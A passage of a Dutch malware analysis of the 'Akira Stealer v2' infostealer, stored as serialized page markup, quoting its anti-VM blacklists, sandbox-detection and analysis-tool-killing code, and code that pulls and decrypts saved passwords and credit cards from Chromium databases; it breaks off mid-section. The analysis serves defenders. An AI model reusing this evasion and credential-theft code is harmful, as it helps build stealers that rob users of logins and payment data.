onderdrukking (bijvoorbeeld task killing) laat zien hoe zelfs malwarefamilies uit het middensegment inmiddels gelaagde evasielogica integreren.",[862,5614,5616],{"id":5615},"_7312-volledige-blacklists-en-detectiefuncties","7.3.12 Volledige blacklists en detectiefuncties",[533,5618,868],{},[533,5620,5621],{},[540,5622,5623],{},"Geblacklistte hardware-UUID's",[588,5625,5628],{"className":5626,"code":5627,"language":593},[591],"BLACKLISTED_UUIDS = (\n    '7AB5C494-39F5-4941-9163-47F54D6D5016',\n    '032E02B4-0499-05C3-0806-3C0700080009',\n    '03DE0294-0480-05DE-1A06-350700080009',\n    '11111111-2222-3333-4444-555555555555',\n    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',\n    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',\n    '4C4C4544-0050-3710-8058-CAC04F59344A',\n    '00000000-0000-0000-0000-AC1F6BD04972',\n    '00000000-0000-0000-0000-000000000000',\n    '5BD24D56-789F-8468-7CDC-CAA7222CC121',\n    '49434D53-0200-9065-2500-65902500E439',\n    '49434D53-0200-9036-2500-36902500F022',\n    '777D84B3-88D1-451C-93E4-D235177420A7',\n    '49434D53-0200-9036-2500-369025000C65',\n    'B1112042-52E8-E25B-3655-6A4F54155DBF',\n    '00000000-0000-0000-0000-AC1F6BD048FE',\n    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',\n    'A15A930C-8251-9645-AF63-E45AD728C20C',\n    '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',\n    'C7D23342-A5D4-68A1-59AC-CF40F735B363',\n    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',\n    '44B94D56-65AB-DC02-86A0-98143A7423BF',\n    '6608003F-ECE4-494E-B07E-1C4615D1D93C',\n    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',\n    '49434D53-0200-9036-2500-369025003AF0',\n    '8B4E8278-525C-7343-B825-280AEBCD3BCB',\n    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',\n    '79AF5279-16CF-4094-9758-F88A616D81B4',\n    'FE822042-A70C-D08B-F1D1-C207055A488F',\n    '76122042-C286-FA81-F0A8-514CC507B250',\n    '481E2042-A1AF-D390-CE06-A8F783B1E76A',\n    'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',\n    '9961A120-E691-4FFE-B67B-F0E4115D5919'\n)\n",[551,5629,5627],{"__ignoreMap":594},[533,5631,5632],{},[540,5633,5634],{},"Geblacklistte computernamen",[588,5636,5639],{"className":5637,"code":5638,"language":593},[591],"BLACKLISTED_COMPUTERNAMES = (\n    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',\n    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',\n    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',\n    'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',\n    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',\n    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',\n    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',\n    'desktop-vkeons4', 'NTT-EFF-2W11WSS'\n)\n",[551,5640,5638],{"__ignoreMap":594},[533,5642,5643],{},[540,5644,5645],{},"Geblacklistte gebruikersaccounts",[588,5647,5650],{"className":5648,"code":5649,"language":593},[591],"BLACKLISTED_USERS = (\n    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',\n    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',\n    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',\n    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',\n    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'\n)\n",[551,5651,5649],{"__ignoreMap":594},[533,5653,5654],{},[540,5655,5656],{},"Geblacklistte processen van analysetools",[588,5658,5661],{"className":5659,"code":5660,"language":593},[591],"BLACKLISTED_TASKS = (\n    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',\n    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',\n    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',\n    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',\n    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',\n    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',\n    'discordtokenprotector', 'glasswire', 'requestly'\n)\n",[551,5662,5660],{"__ignoreMap":594},[533,5664,5665],{},[540,5666,5667],{},"Belangrijkste detectiemethoden",[588,5669,5671],{"className":4495,"code":5670,"language":4497,"meta":594,"style":594},"@staticmethod\ndef checkUUID() -> bool:\n    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\",\n            shell=True, capture_output=True\n        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n\n@staticmethod\ndef checkComputerName() -> bool:\n    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n\n@staticmethod\ndef checkUsers() -> bool:\n    \"\"\"Current login username in VM users list.\"\"\"\n    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n\n@staticmethod\ndef checkHosting() -> bool:\n    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET', 'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n\n@staticmethod\ndef checkHTTPSimulation() -> bool:\n    \"\"\"\n    Attempt TLS to random subdomain.\n    Failure → possible HTTPS interception/sandbox.\n    \"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n        return True\n    except:\n        return False\n\n@staticmethod\ndef checkRegistry() -> bool:\n    \"\"\"\n    Look for VirtualBox/VMware in:\n    - Registry driver entries\n    - Video card name via WMIC\n    - Presence of VM-specific folders\n    \"\"\"\n    r1 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n        shell=True, capture_output=True\n    )\n    r2 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n        shell=True, capture_output=True\n    )\n    gpu = any(\n        x.lower() in subprocess.run(\n            \"wmic path win32_VideoController get name\",\n            shell=True, capture_output=True\n        ).stdout.decode().splitlines()[2].lower()\n        for x in (\"virtualbox\", \"vmware\")\n    )\n    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n\n@staticmethod\ndef killTasks() -> None:\n    \"\"\"Continuously terminate known analysis processes.\"\"\"\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[551,5672,5673,5677,5681,5686,5690,5694,5699,5704,5709,5713,5717,5721,5725,5729,5733,5738,5743,5747,5751,5755,5760,5765,5769,5773,5777,5782,5787,5792,5797,5803,5808,5813,5818,5823,5828,5833,5839,5845,5851,5856,5861,5866,5871,5877,5882,5887,5892,5897,5902,5907,5913,5919,5925,5931,5936,5941,5947,5953,5959,5965,5970,5975,5981,5986,5991,5997,6003,6009,6014,6020,6026,6031,6037,6043,6048,6053,6058,6064],{"__ignoreMap":594},[1681,5674,5675],{"class":1683,"line":1684},[1681,5676,4985],{},[1681,5678,5679],{"class":1683,"line":2061},[1681,5680,5143],{},[1681,5682,5683],{"class":1683,"line":2067},[1681,5684,5685],{},"    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n",[1681,5687,5688],{"class":1683,"line":2073},[1681,5689,5148],{},[1681,5691,5692],{"class":1683,"line":2394},[1681,5693,5153],{},[1681,5695,5696],{"class":1683,"line":2400},[1681,5697,5698],{},"            \"wmic csproduct get uuid\",\n",[1681,5700,5701],{"class":1683,"line":3059},[1681,5702,5703],{},"            shell=True, capture_output=True\n",[1681,5705,5706],{"class":1683,"line":3856},[1681,5707,5708],{},"        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n",[1681,5710,5711],{"class":1683,"line":3862},[1681,5712,5173],{},[1681,5714,5715],{"class":1683,"line":4109},[1681,5716,5178],{},[1681,5718,5719],{"class":1683,"line":5033},[1681,5720,5183],{},[1681,5722,5723],{"class":1683,"line":5039},[1681,5724,3853],{"emptyLinePlaceholder":325},[1681,5726,5727],{"class":1683,"line":5045},[1681,5728,4985],{},[1681,5730,5731],{"class":1683,"line":5051},[1681,5732,5213],{},[1681,5734,5735],{"class":1683,"line":5057},[1681,5736,5737],{},"    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n",[1681,5739,5740],{"class":1683,"line":5063},[1681,5741,5742],{},"    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1681,5744,5745],{"class":1683,"line":5069},[1681,5746,3853],{"emptyLinePlaceholder":325},[1681,5748,5749],{"class":1683,"line":5075},[1681,5750,4985],{},[1681,5752,5753],{"class":1683,"line":5081},[1681,5754,5278],{},[1681,5756,5757],{"class":1683,"line":5087},[1681,5758,5759],{},"    \"\"\"Current login username in VM users list.\"\"\"\n",[1681,5761,5762],{"class":1683,"line":5093},[1681,5763,5764],{},"    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n",[1681,5766,5767],{"class":1683,"line":5099},[1681,5768,3853],{"emptyLinePlaceholder":325},[1681,5770,5771],{"class":1683,"line":5105},[1681,5772,4985],{},[1681,5774,5775],{"class":1683,"line":5111},[1681,5776,5346],{},[1681,5778,5779],{"class":1683,"line":5117},[1681,5780,5781],{},"    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n",[1681,5783,5785],{"class":1683,"line":5784},26,[1681,5786,5351],{},[1681,5788,5790],{"class":1683,"line":5789},27,[1681,5791,5148],{},[1681,5793,5795],{"class":1683,"line":5794},28,[1681,5796,5360],{},[1681,5798,5800],{"class":1683,"line":5799},29,[1681,5801,5802],{},"            'GET', 'http://ip-api.com/line/?fields=hosting'\n",[1681,5804,5806],{"class":1683,"line":5805},30,[1681,5807,5375],{},[1681,5809,5811],{"class":1683,"line":5810},31,[1681,5812,5173],{},[1681,5814,5816],{"class":1683,"line":5815},32,[1681,5817,5384],{},[1681,5819,5821],{"class":1683,"line":5820},33,[1681,5822,3853],{"emptyLinePlaceholder":325},[1681,5824,5826],{"class":1683,"line":5825},34,[1681,5827,4985],{},[1681,5829,5831],{"class":1683,"line":5830},35,[1681,5832,5414],{},[1681,5834,5836],{"class":1683,"line":5835},36,[1681,5837,5838],{},"    \"\"\"\n",[1681,5840,5842],{"class":1683,"line":5841},37,[1681,5843,5844],{},"    Attempt TLS to random subdomain.\n",[1681,5846,5848],{"class":1683,"line":5847},38,[1681,5849,5850],{},"    Failure → possible HTTPS interception/sandbox.\n",[1681,5852,5854],{"class":1683,"line":5853},39,[1681,5855,5838],{},[1681,5857,5859],{"class":1683,"line":5858},40,[1681,5860,5419],{},[1681,5862,5864],{"class":1683,"line":5863},41,[1681,5865,5148],{},[1681,5867,5869],{"class":1683,"line":5868},42,[1681,5870,5428],{},[1681,5872,5874],{"class":1683,"line":5873},43,[1681,5875,5876],{},"        return True\n",[1681,5878,5880],{"class":1683,"line":5879},44,[1681,5881,5173],{},[1681,5883,5885],{"class":1683,"line":5884},45,[1681,5886,5384],{},[1681,5888,5890],{"class":1683,"line":5889},46,[1681,5891,3853],{"emptyLinePlaceholder":325},[1681,5893,5895],{"class":1683,"line":5894},47,[1681,5896,4985],{},[1681,5898,5900],{"class":1683,"line":5899},48,[1681,5901,5471],{},[1681,5903,5905],{"class":1683,"line":5904},49,[1681,5906,5838],{},[1681,5908,5910],{"class":1683,"line":5909},50,[1681,5911,5912],{},"    Look for VirtualBox/VMware in:\n",[1681,5914,5916],{"class":1683,"line":5915},51,[1681,5917,5918],{},"    - Registry driver entries\n",[1681,5920,5922],{"class":1683,"line":5921},52,[1681,5923,5924],{},"    - Video card name via WMIC\n",[1681,5926,5928],{"class":1683,"line":5927},53,[1681,5929,5930],{},"    - Presence of VM-specific folders\n",[1681,5932,5934],{"class":1683,"line":5933},54,[1681,5935,5838],{},[1681,5937,5939],{"class":1683,"line":5938},55,[1681,5940,5476],{},[1681,5942,5944],{"class":1683,"line":5943},56,[1681,5945,5946],{},"        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n",[1681,5948,5950],{"class":1683,"line":5949},57,[1681,5951,5952],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n",[1681,5954,5956],{"class":1683,"line":5955},58,[1681,5957,5958],{},"        shell=True, capture_output=True\n",[1681,5960,5962],{"class":1683,"line":5961},59,[1681,5963,5964],{},"    )\n",[1681,5966,5968],{"class":1683,"line":5967},60,[1681,5969,5491],{},[1681,5971,5973],{"class":1683,"line":5972},61,[1681,5974,5946],{},[1681,5976,5978],{"class":1683,"line":5977},62,[1681,5979,5980],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n",[1681,5982,5984],{"class":1683,"line":5983},63,[1681,5985,5958],{},[1681,5987,5989],{"class":1683,"line":5988},64,[1681,5990,5964],{},[1681,5992,5994],{"class":1683,"line":5993},65,[1681,5995,5996],{},"    gpu = any(\n",[1681,5998,6000],{"class":1683,"line":5999},66,[1681,6001,6002],{},"        x.lower() in subprocess.run(\n",[1681,6004,6006],{"class":1683,"line":6005},67,[1681,6007,6008],{},"            \"wmic path win32_VideoController get name\",\n",[1681,6010,6012],{"class":1683,"line":6011},68,[1681,6013,5703],{},[1681,6015,6017],{"class":1683,"line":6016},69,[1681,6018,6019],{},"        ).stdout.decode().splitlines()[2].lower()\n",[1681,6021,6023],{"class":1683,"line":6022},70,[1681,6024,6025],{},"        for x in (\"virtualbox\", \"vmware\")\n",[1681,6027,6029],{"class":1683,"line":6028},71,[1681,6030,5964],{},[1681,6032,6034],{"class":1683,"line":6033},72,[1681,6035,6036],{},"    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n",[1681,6038,6040],{"class":1683,"line":6039},73,[1681,6041,6042],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n",[1681,6044,6046],{"class":1683,"line":6045},74,[1681,6047,3853],{"emptyLinePlaceholder":325},[1681,6049,6051],{"class":1683,"line":6050},75,[1681,6052,4985],{},[1681,6054,6056],{"class":1683,"line":6055},76,[1681,6057,5565],{},[1681,6059,6061],{"class":1683,"line":6060},77,[1681,6062,6063],{},"    \"\"\"Continuously terminate known analysis processes.\"\"\"\n",[1681,6065,6067],{"class":1683,"line":6066},78,[1681,6068,5570],{},[862,6070,6072],{"id":6071},"_7313-uitvoerings-en-afbreeklogica","7.3.13 Uitvoerings- en afbreeklogica",[533,6074,868],{},[2081,6076,6077,6091,6104],{},[607,6078,6079,6082,6083,6086,6087,6090],{},[540,6080,6081],{},"Initialisatie:"," binnen de constructor ",[551,6084,6085],{},"Akira.__init__()"," roept de malware direct ",[551,6088,6089],{},"VmProtect.isVM(1)"," aan om snelle virtualisatiechecks met weinig overhead uit te voeren (bijvoorbeeld hostname, gebruiker, HTTPS-simulatie).",[607,6092,6093,6096,6097,6100,6101,6103],{},[540,6094,6095],{},"Diepgaande inspectie:"," als de eerste test wordt doorstaan, volgt ",[551,6098,6099],{},"VmProtect.isVM(2)",", waarmee uitgebreidere checks worden gestart, waaronder validatie van de hardware-UUID, hostingdetectie via ",[551,6102,5331],{}," en het scannen op registerartefacten.",[607,6105,6106,6109,6110,6112,6113,6115],{},[540,6107,6108],{},"Afbreekpad:"," als een check ",[551,6111,4672],{}," teruggeeft en daarmee op een virtuele of analyseomgeving wijst, voert de code ",[551,6114,4676],{}," uit en stopt de uitvoering voordat er routines voor dataverzameling of exfiltratie starten.",[862,6117,6119],{"id":6118},"_7314-conclusie","7.3.14 Conclusie",[533,6121,868],{},[533,6123,6124,6125,2031,6127,6129],{},"De module ",[551,6126,4619],{},[4632,6128,651],{}," laat een gelaagde afweer tegen analyse zien, met zowel lokale systeemfingerprints als netwerkbased heuristieken. Door deze precieze checks te begrijpen en te instrumenteren, kunnen verdedigers het spel omdraaien en dergelijke ontwijkende malware in operationele omgevingen detecteren.",[715,6131,6133],{"id":6132},"_74-exfiltratie-van-browserdata","7.4 Exfiltratie van browserdata",[533,6135,721],{},[533,6137,6138,6139,558,6142,6145],{},"Een van de kerndoelen van Akira Stealer v2 is het grootschalig onttrekken van gevoelige, in de browser opgeslagen data. De malware bevat daarvoor toegesneden modules die zowel ",[540,6140,6141],{},"Chromium-gebaseerde",[540,6143,6144],{},"Gecko-gebaseerde (Firefox)"," browsers viseren. De mogelijkheden omvatten het onttrekken en ontsleutelen van opgeslagen wachtwoorden, cookies, creditcardgegevens, autofill-invoer en zelfs sessietokens die kunnen worden hergebruikt voor een volledige accountovername.",[533,6147,6148],{},[540,6149,6150],{},"1. Inrichten van de werkomgeving",[588,6152,6154],{"className":4495,"code":6153,"language":4497,"meta":594,"style":594},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\nos.makedirs(client_dir, exist_ok=True)\nfor sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[551,6155,6156,6161,6166,6171],{"__ignoreMap":594},[1681,6157,6158],{"class":1683,"line":1684},[1681,6159,6160],{},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\n",[1681,6162,6163],{"class":1683,"line":2061},[1681,6164,6165],{},"os.makedirs(client_dir, exist_ok=True)\n",[1681,6167,6168],{"class":1683,"line":2067},[1681,6169,6170],{},"for sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n",[1681,6172,6173],{"class":1683,"line":2073},[1681,6174,6175],{},"    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[604,6177,6178,6185,6188,6191,6194],{},[607,6179,6180,6181],{},"Maakt een wegwerpbare stagingruimte aan onder de tijdelijke systeemmap, vernoemd naar de machine van het slachtoffer (%TEMP%\\DESKTOP-",[6182,6183,6184],"hostname",{},"), zodat alle geëxfiltreerde artefacten op één eenvoudig te archiveren locatie worden samengebracht.",[607,6186,6187],{},"Scheidt data per type: zes aparte submappen (Passwords, Cookies, CreditCards, History, Autofill, Wallets) voorkomen naamconflicten en vereenvoudigen het latere inpakken, want elke onttrekkingsroutine schrijft alleen in zijn eigen map.",[607,6189,6190],{},"Idempotente mapaanmaak gebruikt exist_ok=True, dus als de malware opnieuw draait (bijvoorbeeld bij een herstart of via persistentie), crasht ze niet en overschrijft ze geen bestaande data: nieuwe items worden simpelweg aan dezelfde structuur toegevoegd.",[607,6192,6193],{},"Vergemakkelijkt selectief opruimen: zodra de upload en notificatie klaar zijn, kan de stealer Utils.clear_client_folder() aanroepen om recursief alleen zijn eigen werkomgeving te verwijderen, zonder resterende bestanden achter te laten.",[607,6195,6196],{},"Bereidt parallelle onttrekkingsthreads voor: doordat alle doelen vooraf zijn aangemaakt, kunnen achtergrondthreads die browsercredentials, cookies, autofills, crypto-walletdata en meer verzamelen direct hun resultaten wegschrijven zonder extra controles, wat de overhead minimaliseert en het venster verkleint waarin verdedigende hooks onverwachte bestands-I/O kunnen detecteren.",[533,6198,6199],{},[540,6200,6201],{},"2. Ondersteunde browsers",[604,6203,6204,6247],{},[607,6205,6206,6209],{},[540,6207,6208],{},"Chromium‑gebaseerd",[604,6210,6211,6214,6217,6220,6223,6226,6229,6232,6235,6238,6241,6244],{},[607,6212,6213],{},"Google Chrome (Stable & SxS)",[607,6215,6216],{},"Microsoft Edge",[607,6218,6219],{},"Brave Browser",[607,6221,6222],{},"Opera & Opera GX",[607,6224,6225],{},"Chromium",[607,6227,6228],{},"Comodo Dragon",[607,6230,6231],{},"Epic Privacy Browser",[607,6233,6234],{},"Iridium Browser",[607,6236,6237],{},"UR Browser",[607,6239,6240],{},"Vivaldi Browser",[607,6242,6243],{},"Yandex Browser",[607,6245,6246],{},"Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran",[607,6248,6249,6252,6253,1113,6256,6267,6269,6270,6279,6281,6282,620,6285,6288],{},[540,6250,6251],{},"Firefox‑gebaseerd"," (via ",[551,6254,6255],{},"GeckoDriver",[604,6257,6258,6261,6264],{},[607,6259,6260],{},"Mozilla Firefox",[607,6262,6263],{},"Waterfox",[607,6265,6266],{},"Pale Moon",[699,6268],{},"Akira lokaliseert gebruikersprofielen dynamisch met behulp van omgevingsvariabelen en bekende mapstructuren:",[588,6271,6273],{"className":4495,"code":6272,"language":4497,"meta":594,"style":594},"user_path = os.path.join(os.getenv(\"LOCALAPPDATA\"), \"Google\", \"Chrome\", \"User Data\")\n",[551,6274,6275],{"__ignoreMap":594},[1681,6276,6277],{"class":1683,"line":1684},[1681,6278,6272],{},[699,6280],{},"De malware controleert recursief op beschikbare browserprofielen (bijvoorbeeld ",[551,6283,6284],{},"Default",[551,6286,6287],{},"Profile 1",", enzovoort) en viseert SQLite-databases binnen die paden.",[862,6290,6292],{"id":6291},"_741-onttrokken-datatypes","7.4.1 Onttrokken datatypes",[533,6294,868],{},[1392,6296,4687,6297],{"style":4686},[1408,6298,6299,4687,6312,4687,6325,4687,6337,4687,6349,4687,6361,4687,6372],{},[1398,6300,4692,6301,4692,6305,4692,6309,4687],{},[1401,6302,6304],{"style":6303},"text-align: left; width: 22%;","Datatype",[1401,6306,6308],{"style":6307},"text-align: left; width: 28%;","Bronbestand",[1401,6310,6311],{"style":4856},"Opmerkingen",[1398,6313,4692,6314,4692,6317,4692,6322,4687],{},[1413,6315,6316],{},"Opgeslagen wachtwoorden",[1413,6318,6319,6321],{},[551,6320,557],{}," (Chromium)",[1413,6323,6324],{},"Ontsleuteld via DPAPI of AES-GCM (vanaf Chromium v80)",[1398,6326,4692,6327,4692,6330,4692,6334,4687],{"style":4713},[1413,6328,6329],{},"Cookies",[1413,6331,6332],{},[551,6333,6329],{},[1413,6335,6336],{},"Kunnen sessietokens bevatten, met name voor Google-/Facebook-accounts",[1398,6338,4692,6339,4692,6342,4692,6346,4687],{},[1413,6340,6341],{},"Autofill-data",[1413,6343,6344],{},[551,6345,561],{},[1413,6347,6348],{},"Adressen, e-mailadressen, telefoonnummers, enzovoort",[1398,6350,4692,6351,4692,6354,4692,6358,4687],{"style":4713},[1413,6352,6353],{},"Creditcards",[1413,6355,6356],{},[551,6357,561],{},[1413,6359,6360],{},"Versleuteld; vereist de master key",[1398,6362,4692,6363,4692,6366,4692,6369,4687],{},[1413,6364,6365],{},"Sessietokens",[1413,6367,6368],{},"In-memory & cookies",[1413,6370,6371],{},"Inclusief Gmail, Google-accounts en Discord OAUTH-replay",[1398,6373,4692,6374,4692,6377,4692,6385,4687],{"style":4713},[1413,6375,6376],{},"Geschiedenis & URL's",[1413,6378,6379,620,6382],{},[551,6380,6381],{},"History",[551,6383,6384],{},"Visited Links",[1413,6386,6387],{},"Werden eveneens naar de aanvaller geëxfiltreerd",[827,6389],{"className":6390},[830,831],[533,6392,6393,6396],{},[540,6394,6395],{},"3. Onttrekkingsmodules","\nWanneer malware-auteurs browsers viseren, zijn hun voornaamste schatkamers de verschillende SQLite-databases waarin Chrome, Firefox en verwanten credentials, cookies, geschiedenis en autofill-invoer bewaren. astor.py rijgt lichte Python- en native API's aaneen om methodisch elk stukje data te plukken, en zelfs live OAuth-sessies te herspelen, zonder een spoor achter te laten. Hieronder volgt een diepgaande, module-voor-module rondgang, letterlijk uit de code.",[862,6398,6400,6401,1113],{"id":6399},"_742-wachtwoorddumper-chromiumgetpasswords","7.4.2 Wachtwoorddumper (",[551,6402,6403],{},"Chromium.GetPasswords",[533,6405,868],{},[533,6407,6408],{},"Deze module doorzoekt systematisch alle Chromium-gebaseerde browserprofielen om opgeslagen inloggegevens te onttrekken. Door de Login Data-SQLite-database te viseren haalt ze gebruikersnamen en versleutelde wachtwoorden op, en gebruikt vervolgens de encryptiesleutel van het platform (opgehaald via DPAPI of AES-GCM) om die naar leesbare tekst te ontsleutelen. Deze credentials zijn zeer waardevol voor post-compromise-pivoting of accountovername.",[588,6410,6412],{"className":4495,"code":6411,"language":4497,"meta":594,"style":594},"for root, _, files in os.walk(self.BrowserPath):\n    for file in files:\n        if file.lower() == \"login data\":\n            # Copy DB → open → extract rows\n            results = cursor.execute(\n                \"SELECT origin_url, username_value, password_value FROM logins\"\n            ).fetchall()\n            for url, user, pwd_blob in results:\n                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n                passwords.append((url, user, clear_pwd))\n",[551,6413,6414,6419,6424,6429,6434,6439,6444,6449,6454,6459],{"__ignoreMap":594},[1681,6415,6416],{"class":1683,"line":1684},[1681,6417,6418],{},"for root, _, files in os.walk(self.BrowserPath):\n",[1681,6420,6421],{"class":1683,"line":2061},[1681,6422,6423],{},"    for file in files:\n",[1681,6425,6426],{"class":1683,"line":2067},[1681,6427,6428],{},"        if file.lower() == \"login data\":\n",[1681,6430,6431],{"class":1683,"line":2073},[1681,6432,6433],{},"            # Copy DB → open → extract rows\n",[1681,6435,6436],{"class":1683,"line":2394},[1681,6437,6438],{},"            results = cursor.execute(\n",[1681,6440,6441],{"class":1683,"line":2400},[1681,6442,6443],{},"                \"SELECT origin_url, username_value, password_value FROM logins\"\n",[1681,6445,6446],{"class":1683,"line":3059},[1681,6447,6448],{},"            ).fetchall()\n",[1681,6450,6451],{"class":1683,"line":3856},[1681,6452,6453],{},"            for url, user, pwd_blob in results:\n",[1681,6455,6456],{"class":1683,"line":3862},[1681,6457,6458],{},"                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n",[1681,6460,6461],{"class":1683,"line":4109},[1681,6462,6463],{},"                passwords.append((url, user, clear_pwd))\n",[604,6465,6466,6479,6485,6493,6510],{},[607,6467,6468,6471,6472,6474,6475,6478],{},[540,6469,6470],{},"Lokaliseert"," elke ",[551,6473,557],{},"-SQLite-database onder de ",[551,6476,6477],{},"User Data","-map van de browser.",[607,6480,6481,6484],{},[540,6482,6483],{},"Kopieert"," deze naar een tijdelijk bestand om browserlocks te vermijden.",[607,6486,6487,973,6490,697],{},[540,6488,6489],{},"SQL-query",[551,6491,6492],{},"SELECT origin_url, username_value, password_value FROM logins",[607,6494,6495,6471,6498,6501,6502,6505,6506,6509],{},[540,6496,6497],{},"Ontsleutelt",[551,6499,6500],{},"password_value","-blob via AES‑GCM (",[551,6503,6504],{},"v10","/",[551,6507,6508],{},"v11",") of met Windows DPAPI als fallback.",[607,6511,6512,6515,6516,697],{},[540,6513,6514],{},"Schrijft"," de uitvoer weg naar ",[551,6517,6518],{},"Passwords/\u003CBrowserName> Passwords.txt",[862,6520,6522,6523,1113],{"id":6521},"_743-creditcarddumper-chromiumgetcreditcards","7.4.3 Creditcarddumper (",[551,6524,6525],{},"Chromium.GetCreditCards",[533,6527,868],{},[533,6529,6530],{},"Hier benadert de stealer opgeslagen creditcardgegevens uit het Web Data-bestand van elk browserprofiel. De focus ligt op het onttrekken van vervaldetails en versleutelde creditcardnummers, die vervolgens met dezelfde logica als wachtwoorden worden ontsleuteld. Hoewel CVV-codes doorgaans niet worden opgeslagen, kan de teruggewonnen informatie alsnog worden misbruikt voor card-not-present-fraude.",[588,6532,6534],{"className":4495,"code":6533,"language":4497,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n).fetchall()\nfor month, year, enc_cc in results:\n    cc_number = self.Decrypt(enc_cc, encryptionKey)\n    ccs.append((cc_number, month, year))\n",[551,6535,6536,6541,6546,6551,6556,6561],{"__ignoreMap":594},[1681,6537,6538],{"class":1683,"line":1684},[1681,6539,6540],{},"results = cursor.execute(\n",[1681,6542,6543],{"class":1683,"line":2061},[1681,6544,6545],{},"    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n",[1681,6547,6548],{"class":1683,"line":2067},[1681,6549,6550],{},").fetchall()\n",[1681,6552,6553],{"class":1683,"line":2073},[1681,6554,6555],{},"for month, year, enc_cc in results:\n",[1681,6557,6558],{"class":1683,"line":2394},[1681,6559,6560],{},"    cc_number = self.Decrypt(enc_cc, encryptionKey)\n",[1681,6562,6563],{"class":1683,"line":2400},[1681,6564,6565],{},"    ccs.append((cc_number, month, year))\n",[604,6567,6568,6577,6584,6592],{},[607,6569,6570,6573,6574,6576],{},[540,6571,6572],{},"Viseert"," de ",[551,6575,561],{},"-SQLite-stores onder elk 